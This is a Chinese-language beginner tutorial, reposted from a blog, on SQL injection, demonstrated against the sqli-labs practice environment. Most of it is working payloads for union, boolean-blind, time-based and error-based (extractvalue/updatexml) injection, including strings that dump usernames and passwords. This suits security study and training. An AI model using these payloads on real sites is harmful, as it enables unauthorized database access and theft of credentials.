SQL注入-入门篇

转载请加原文链接:https://www.cnblogs.com/Yang34/p/12632849.html

sql注入是指web应用程序对用户输入数据的合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作。

sql注入漏洞产生的条件:
用户能够控制数据的输入。
原本需要执行的代码,拼接了用户的输入。

危害:
攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,以修改或控制操作系统。

分类:
数字型:select * from table where id=8
http://XXX/YYY.php?id=1 正常访问 执行的语句select * from table where id=8
http://XXX/YYY.php?id=1’ 产生报错 执行的语句select * from table where id=8’
http://XXX/YYY.php?id=1 and 1=1 正常访问 执行的语句select * from table where id=8 and 1=1
http://XXX/YYY.php?id=1 and 1=2  无法获取数据 执行的语句select * from table where id=8 and 1=2
字符型:select * from table where username=‘AAA’
登录框的正常语句select * from table where username=‘ ’ and password=‘ ’
输入账户与密码select * from table where username=‘AAA’ and password=‘BBB’
select * from table where username=‘AAA’ or 1=1 #’ and password=‘BBB’ or 1=1 #’
执行的语句select * from table where username=‘AAA’ or 1=1
搜索型:select * from table where name like ‘%xxx%’

判断姿势:

利用union注入
http://192.168.3.131/sqlilabs/Less-1/?id=1%27 单引号报错
http://192.168.3.131/sqlilabs/Less-1/?id=1%27--+ 注释后正常回显

http://192.168.3.131/sqlilabs/Less-1/?id=1' and '1' ='1' --+
http://192.168.3.131/sqlilabs/Less-1/?id=1’ and 1'='2' --+

数据库执行:

http://192.168.3.131/sqlilabs/Less-1/?id=1' order by 3 --+
http://192.168.3.131/sqlilabs/Less-1/?id=1' order by 4 --+

http://192.168.3.131/sqlilabs/Less-1/?id=1‘ union select 1,2,3--+ 没有显示出来
http://192.168.3.131/sqlilabs/Less-1/?id=-1‘ union select 1,2,3--+  id产生报错

group_concat(字段,‘分割符号’,字段)  主要是个分组拼接的函数

http://192.168.3.131/sqlilabs/Less-1/?id=-1‘ union select 1,database(),3--+获取数据库 http://192.168.3.131/sqlilabs/Less-1/?id=-1’ union select 1,database(),version()--+ 获取版本
http://192.168.3.131/sqlilabs/Less-1/?id=-1‘ union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 获取所有数据库

 

http://192.168.3.131/sqlilabs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 获取数据表
http://192.168.3.131/sqlilabs/Less-1/?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+ 获取表内列名
http://192.168.3.131/sqlilabs/Less-1/?id=-1‘ union select 1,2,group_concat(id,’-‘,username,’-‘,password) from users --+获取字段信息

利用盲注:
无法通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。
http://192.168.35.132/sqlilabs/less-5/?id=1
http://192.168.35.132/sqlilabs/less-5/?id=1%27
http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20length(database())%3E7--+
http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20length(database())%3E8--+
http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20length(database())=8--+

left(x,y)从左侧截取x的y位进行判断
http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20left(database(),1)=%27w%27%20--+
http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20left(database(),1)=%27s%27%20--+

http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20left(database(),2)=%27se%27%20--+
http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20left(database(),8)=%27security%27%20--+

接下来获取数据表信息,主要用ascii(X)转字符X为ascii码;substr(x,y,z)对x的y位取z 其实意思是x是我们的目标 从y开始 z是取的长度 y不等于0;limit(x,y)从x开始取y条

如果使用union select:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
结合上篇三函数:
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))
http://192.168.35.132/sqlilabs/less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))=101%20--+第一位字母是e

第二个字母与之对应的就是substr(X,2,1)
http://192.168.35.132/sqlilabs/less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+  可以得到第二个字母为m
以此类推获取第一个数据表全名emails
limit(x,y) 代表从x开始取y个 既然第一个表是limit 0,1,第二张表不就是limit 1,1?以此类推,第四个表则为limit 3,1
获取第四个表的表名:
http://192.168.35.132/sqlilabs/less-5/?id=1‘and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 --+  确定第一个字母为u   同理可以获得数据表的列名

常见的时间盲注:if(x,y,z) 如果x成立,则返回y,否则就返回z;sleep(X)  延时X秒
and If(ascii(substr(database(),1,1))<116,sleep(5),1)
and If(ascii(substr(database(),1,1))>114,sleep(5),1)
and If(ascii(substr(database(),1,1))=115,sleep(5),1) 判断第一位字母ascii码为115

获取第二位:
and If(ascii(substr(database(),2,1))>65,sleep(5),1) 可知第二位ascii码大于65

and If(ascii(substr(database(),2,1))>100,sleep(5),1) 可知第二位ascii码大于100

and If(ascii(substr(database(),2,1))>112,sleep(5),1) 可知不大于112 范围在100-111之间

and If(ascii(substr(database(),2,1))=104,sleep(5),1) 经过测试可知第二位ascii码是104 对应字母h

利用报错注入
常见payload
select * from test where id=1 and exp(~(select * from(select user())a));
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);


EXTRACTVALE与UPDATEXML
EXTRACTVALUE(XML_document, XPath_string);
EXTRACTVALUE函数主要功能简单理解:
EXTRACTVALUE(目标xml文档,xml路径) 主要是对xml文档进行查询的函数
其中xml路径用/XXX/XXX格式,如果写入其他信息则会报错,而我们就是利用该报错来获取敏感信息。正常使用/XXX/XXX即使没有查询到也不会报错。
select A_login from sl_admin where A_id=12;

结合EXTRACTVALUE:
select A_login from sl_admin where A_id=12 and (extractvalue('TEST','/AAA/BBB'));

使用contcat连接:
select A_login from sl_admin where A_id=12 and (extractvalue('TEST',concat('/',(select database())))); 

使用错误的语法
select A_login from sl_admin where A_id=12 and (extractvalue('TEST',concat(0x7e,(select database()))));

extractvalue()能查询字符串的最大长度为32 若超过32位可以用substring()函数截取  一次查看32位 substring(X,Y,Z):截取X从Y开始截取Z个字符  shop73686F70
select A_login from sl_admin where A_id=12 and (extractvalue('anything',concat(0x7e,substring(hex((select database())),1,3))));

UPDATEXML(XML_document, XPath_string, new_value);
UPDATEXML函数主要功能简单理解:
UPDATEXML(XML文档,XML路径,更新的内容)
简单理解该函数主要作用:改变文档中符合条件的节点的值
语句结合UPDATEXML:
select A_login from sl_admin where A_id=12 and (updatexml('test','/AAA/BBB/CCC','tttttt'));

报错方式其实与EXTRACTVALUE相同结合concat:
select A_login from sl_admin where A_id=12 and (updatexml('test',concat('/',(select database())),'tttttt'));  
select A_login from sl_admin where A_id=12 and (updatexml('test',concat(0x7e,(select database())),'tttttt'));  报错获取数据如下:

获取数据库名:
and (extractvalue('TEST',concat(0x7e,(select database())))) --+
获取表名:
and (extractvalue('TEST',concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+

结合not int 获取除了a以外的b表们:
and (extractvalue('TEST',concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('users'))))) --+

获取列名:
and (extractvalue('TEST',concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))) --+

获取username与password详细数据:
and (extractvalue('TEST',concat(0x7e,(select group_concat(username,0x7e,password) from users )))) --+

结合not in获取其他数据:
and (extractvalue('TEST',concat(0x7e,(select group_concat(username,0x7e,password) from users where username not in('Dumb') and username not in ('Angelina'))))) --+

使用updatexml获取数据库名:
and (updatexml('test',concat(0x7e,(select database())),'tttttt')) --+

获取表名:
and (updatexml('test',concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),'tttttt')) --+

也是可以结合not in的
and (updatexml('test',concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails') )),'tttttt')) --+

其他数据与extractvalue方法类似 不再叙述

猜你喜欢

转载自www.cnblogs.com/Yang34/p/12632849.html